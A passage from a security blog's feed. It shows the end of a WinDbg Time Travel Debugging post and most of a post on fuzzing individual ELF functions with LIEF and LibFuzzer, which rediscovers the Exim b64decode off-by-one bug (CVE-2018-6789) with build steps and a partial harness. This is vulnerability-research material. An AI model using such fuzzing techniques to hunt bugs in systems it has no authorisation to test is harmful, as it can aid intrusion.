&lt;&#x2F;span&gt;&lt;span&gt;= [0x71] : 32 &amp;#39; &amp;#39;  = &#x2F;&#x2F; Reads &amp;#39;This &amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we see multiple times the same character: the reason being that for one key stroke, multiple events are raised (&lt;code&gt;WM_KEYDOWN&lt;&#x2F;code&gt;, &lt;code&gt;WM_KEYUP&lt;&#x2F;code&gt;). Since we haven’t done any filtering at the DDM level, notepad captures all the events. It would be fairly easy from that point to create a JS script to only get one type of message, but this will be left at the curiosity of the reader (focus on capturing only the messages of type &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;inputdev&#x2F;wm-keydown&quot;&gt;&lt;code&gt;WM_KEYDOWN&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; (0x100).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;last-words&quot;&gt;Last words&lt;&#x2F;h2&gt;
&lt;p&gt;This concludes this light post about TTD and its DDM integration.&lt;&#x2F;p&gt;
&lt;p&gt;TTD brings a new approach to traditional debugging which is a huge plus. Not only that, but its integration in WinDbg with LINQ and DDM makes it even more powerful, and I hope this small post helped in making those tools more approachable.&lt;&#x2F;p&gt;
&lt;p&gt;In the mean time, I’ll leave you with some links to dig deeper:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doar-e.github.io&#x2F;blog&#x2F;2017&#x2F;12&#x2F;01&#x2F;debugger-data-model&#x2F;&quot;&gt;Debugger data model, Javascript &amp;amp; x64 exception handling&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=qFhJLbh6zzc&amp;amp;&quot;&gt;Channel9 - Introduction to Time Travel Debugging&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;shows&#x2F;defrag-tools&#x2F;186-time-travel-debugging-advanced&quot;&gt;Channel9 - Advanced Time Travel Debugging&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=PLjAuO31Rg973XOVdi5RXWlrC-XlPZelGn&quot;&gt;WinDbg YouTube Playlist&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Cheers!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Fuzzing arbitrary functions in ELF binaries</title>
        <published>2018-03-11T00:00:00+00:00</published>
        <updated>2018-03-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2018-03-11-fuzzing-arbitrary-functions-in-elf-binaries/"/>
        <id>https://blahcat.github.io/2018-03-11-fuzzing-arbitrary-functions-in-elf-binaries/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2018-03-11-fuzzing-arbitrary-functions-in-elf-binaries/">&lt;p&gt;I decided to give a descent test to
the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lief-project.github.io&#x2F;&quot;&gt;LIEF&lt;&#x2F;a&gt; project. Executable parsers are
not a new thing (&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eliben&#x2F;pyelftools&quot;&gt;&lt;code&gt;pyelftools&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;erocarrera&#x2F;pefile&quot;&gt;&lt;code&gt;pefile&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, etc…)
but that one picked my curiosity (just like most Quarkslab projects) because it
also provides dead simple instrumentation functions. To top it up, LIEF is easy
to use and well documented, which is becoming a rare perk in the circus of
infosec tools.&lt;&#x2F;p&gt;
&lt;p&gt;By reading some blog posts about LIEF, I came across &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lief-project.github.io&#x2F;doc&#x2F;latest&#x2F;tutorials&#x2F;08_elf_bin2lib.html&quot;&gt;a new
feature&lt;&#x2F;a&gt;:
easily adding arbitrary functions to an ELF export table. I highly recommend to
dig through this post if you haven’t done so already.&lt;&#x2F;p&gt;
&lt;p&gt;When I was done reading, I realized one of the many good applications to this
feature would be fuzzing. But why not use &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lcamtuf.coredump.cx&#x2F;afl&quot;&gt;AFL&lt;&#x2F;a&gt; you
may ask? Well, AFL is an awesome (awesome awesome) tool, but it  fuzzes the
whole binary by providing some local mutated input. This has 2 disadvantages for
precise, targeted function fuzzing:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;performance: in default mode (i.e. non persistent), AFL spawns and runs the
entire binary, which obviously adds the process creation&#x2F;deletion time,
along with all the code before reaching the function(s) we’re aiming;&lt;&#x2F;li&gt;
&lt;li&gt;modularity: it is not easy to fuzz network service parsing mechanism with
it. I know
of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jdbirdwell&#x2F;afl&quot;&gt;already existing attempts&lt;&#x2F;a&gt; to fix
this, but I find them too hacky and poorly scalable.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;On the other side we have LLVM’s own &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;llvm.org&#x2F;docs&#x2F;LibFuzzer.html&quot;&gt;LibFuzzer&lt;&#x2F;a&gt;, which is an awesome (awesome
awesome) library to fuzz, well… libraries. And fortunately, not everything is a library
(sshd, httpd)&lt;&#x2F;p&gt;
&lt;p&gt;And that’s exactly where LIEF kicks in… How about using LIEF to export one (or
many) functions from the ELF binary we target, into a shared object, and then use
LibFuzzer to fuzz it! On top of that, we can also use the
compilers &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;sanitizers&#x2F;&quot;&gt;sanitizers&lt;&#x2F;a&gt; to track invalid
memory access! But would that even work?&lt;&#x2F;p&gt;
&lt;p&gt;It turns out it did, big time and after successfully playing on simple PoCs, I
realized this technique was relevant to dig into, so I chose to put it to
practice by trying to find real vulnerabilities.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;concrete-example-finding-cve-2018-6789&quot;&gt;Concrete example: finding CVE-2018-6789&lt;&#x2F;h1&gt;
&lt;p&gt;What better way to illustrate this technique than with a concrete example: earlier this
week, &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;mehqq_&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@mehqq_&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 released &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;devco.re&#x2F;blog&#x2F;2018&#x2F;03&#x2F;06&#x2F;exim-off-by-one-RCE-exploiting-CVE-2018-6789-en&#x2F;&quot;&gt;a great blog post about CVE-2018-6789&lt;&#x2F;a&gt; detailing the exploit steps for an off-by-one vulnerability she discovered in Exim. The issue was fixed in &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Exim&#x2F;exim&#x2F;commit&#x2F;cf3cd306062a08969c41a1cdd32c6855f1abecf1&quot;&gt;cf3cd306062a08969c41a1cdd32c6855f1abecf1&lt;&#x2F;a&gt; and given the CVE 2018-6789.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Exim&#x2F;exim&quot;&gt;Exim&lt;&#x2F;a&gt; is a MTA which once compiled is a standalone binary. So AFL would be of little help (network service), but it is a perfect practice case for LIEF + LibFuzzer.&lt;&#x2F;p&gt;
&lt;p&gt;We must compile Exim as PIE (usually done with setting &lt;code&gt;-fPIC&lt;&#x2F;code&gt; in CFLAGS and &lt;code&gt;-pie&lt;&#x2F;code&gt; in &lt;code&gt;LDFLAGS&lt;&#x2F;code&gt;). But we also need the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.org&#x2F;docs&#x2F;AddressSanitizer.html&quot;&gt;address sanitizer&lt;&#x2F;a&gt; since without them, off-by-one overflow in the heap may go unoticed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;compiling-the-target-with-asan-pie&quot;&gt;Compiling the target with ASAN &amp;amp; PIE&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# on ubuntu 16.04 lts
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo apt install libdb-dev libperl-dev libsasl2-dev libxt-dev libxaw7-dev
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; git clone https:&#x2F;&#x2F;github.com&#x2F;Exim&#x2F;exim.git
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# roll back to the last vulnerable version of exim (parent of cf3cd306062a08969c41a1cdd32c6855f1abecf1)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cd exim
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; git reset&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --hard&lt;&#x2F;span&gt;&lt;span&gt; cf3cd306062a08969c41a1cdd32c6855f1abecf1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HEAD&lt;&#x2F;span&gt;&lt;span&gt; is now at 38e3d2df Compiler-quietening
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# and compile with PIE + ASAN
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cd src ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span&gt; src&#x2F;EDITME Local&#x2F;Makefile &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span&gt; exim_monitor&#x2F;EDITME Local&#x2F;eximon.conf
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# edit Local&#x2F;Makefile to add a few options like an EXIM_USER, etc.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; FULLECHO=&amp;#39;&amp;#39; LFLAGS+=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-L&#x2F;usr&#x2F;lib&#x2F;llvm-6.0&#x2F;lib&#x2F;clang&#x2F;6.0.0&#x2F;lib&#x2F;linux&#x2F; -lasan -pie&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span&gt;  CFLAGS+=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-fPIC -fsanitize=address&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; LDFLAGS+=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-lasan -pie -ldl -lm -lcrypt&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span&gt;  LIBS+=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-lasan -pie&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; make&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span&gt; clean all
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;in some cases, the use of ASAN fails to create the configuration file required&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;

for the compilation. So edit &lt;code&gt;$EXIM&#x2F;src&#x2F;scripts&#x2F;Configure-config.h&lt;&#x2F;code&gt; shell script
to avoid the premature ending:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;patch&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-patch &quot;&gt;&lt;code class=&quot;language-patch&quot; data-lang=&quot;patch&quot;&gt;&lt;span&gt;diff --git a&#x2F;src&#x2F;scripts&#x2F;Configure-config.h b&#x2F;src&#x2F;scripts&#x2F;Configure-config.h
&lt;&#x2F;span&gt;&lt;span&gt;index 75d366fc..a82a9c6a 100755
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;+++ b&#x2F;src&#x2F;scripts&#x2F;Configure-config.h
&lt;&#x2F;span&gt;&lt;span&gt;@@ -37,6 +37,8 @@ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;st=&amp;#39;   &amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;   &amp;quot;&#x2F;\\\$&#x2F;d;s&#x2F;#.*\$&#x2F;&#x2F;;s&#x2F;^[$st]*\\([A-Z][^:!+$st]*\\)[$st]*=[$st]*\\([^$st]*\\)[$st]*\$&#x2F;\\1=\\2 export \\1&#x2F;p&amp;quot; \
&lt;&#x2F;span&gt;&lt;span&gt;   &amp;lt; Makefile ; echo &amp;quot;.&#x2F;buildconfig&amp;quot;) | &#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+echo
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+
&lt;&#x2F;span&gt;&lt;span&gt;# If buildconfig ends with an error code, it will have output an error
&lt;&#x2F;span&gt;&lt;span&gt;# message. Ensure that a broken config.h gets deleted.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The compilation will occur normally and once compiled we can use &lt;code&gt;checksec&lt;&#x2F;code&gt; from &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;stable&#x2F;&quot;&gt;pwntools&lt;&#x2F;a&gt; on the binary and make
sure it’s PIE and ASAN compatible:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;  checksec .&#x2F;build-Linux-x86_64&#x2F;exim
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*] &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;vagrant&#x2F;labs&#x2F;fuzzing&#x2F;misc&#x2F;exim&#x2F;src&#x2F;build-Linux-x86_64&#x2F;exim&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Arch:&lt;&#x2F;span&gt;&lt;span&gt;     amd64-64-little
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RELRO:&lt;&#x2F;span&gt;&lt;span&gt;    Full RELRO
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Stack:&lt;&#x2F;span&gt;&lt;span&gt;    Canary found
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX:&lt;&#x2F;span&gt;&lt;span&gt;       NX enabled
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE:&lt;&#x2F;span&gt;&lt;span&gt;      PIE enabled
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ASAN:&lt;&#x2F;span&gt;&lt;span&gt;     Enabled
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;exporting-the-targeted-functions&quot;&gt;Exporting the targeted functions&lt;&#x2F;h3&gt;
&lt;p&gt;From the write-up, the vulnerable function is &lt;code&gt;b64decode()&lt;&#x2F;code&gt; in &lt;code&gt;src&#x2F;base64.c&lt;&#x2F;code&gt;
whose &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Exim&#x2F;exim&#x2F;blob&#x2F;38e3d2dff7982736f1e6833e06d4aab4652f337a&#x2F;src&#x2F;src&#x2F;base64.c#L152-L153&quot;&gt;prototype&lt;&#x2F;a&gt; is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; uschar *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;code&lt;&#x2F;span&gt;&lt;span&gt;, uschar **&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ptr&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This function is not static and the binary not stripped, so we can spot it
easily with &lt;code&gt;readelf&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; readelf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -a&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;build-Linux-x86_64&#x2F;exim
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1560:&lt;&#x2F;span&gt;&lt;span&gt; 00000000001835b8    37 FUNC    GLOBAL DEFAULT   14 lss_b64decode
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;3382:&lt;&#x2F;span&gt;&lt;span&gt; 00000000000cb0bd  2441 FUNC    GLOBAL DEFAULT   14 b64decode
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So now we know that we want to export the function &lt;code&gt;b64decode&lt;&#x2F;code&gt; at PIE offset
0xcb0bd. We can use the following simple script to export the functions using
LIEF (&amp;gt;=0.9):&lt;&#x2F;p&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;d48780a2000925902a7e31ff0240479a.js&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;We also need to export &lt;code&gt;store_reset_3()&lt;&#x2F;code&gt; which is used to free the structures.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;exe2so.py .&#x2F;build-Linux-x86_64&#x2F;exim 0xcb0bd:b64decode 0x220cde:store_reset_3
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; exporting &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; to 0xcb0bd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; exporting &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;store_reset_3&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; to 0x220cde
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; writing shared object as &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;exim.so&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; done
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;write-a-libfuzzer-loader-to-invoke-the-targeted-function&quot;&gt;Write a LibFuzzer loader to invoke the targeted function&lt;&#x2F;h3&gt;
&lt;p&gt;First we need a handle to the library:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;LoadLibrary&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        h = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dlopen&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;exim.so&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, RTLD_LAZY);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; h != &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And reconstruct the function &lt;code&gt;b64decode()&lt;&#x2F;code&gt; based on its prototype:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;typedef int&lt;&#x2F;span&gt;&lt;span&gt;(*b64decode_t)(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const char&lt;&#x2F;span&gt;&lt;span&gt;*, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;**);
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;        b64decode_t b64decode = (b64decode_t)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dlsym&lt;&#x2F;span&gt;&lt;span&gt;(h, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b64decode=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, b64decode);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; res = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;(code, &amp;amp;ptr);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b64decode() returned &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;, result -&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, res, ptr);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(ptr-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; required to avoid LSan alert (memleak)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;b64decode()&lt;&#x2F;code&gt; can now be called:&lt;&#x2F;p&gt;
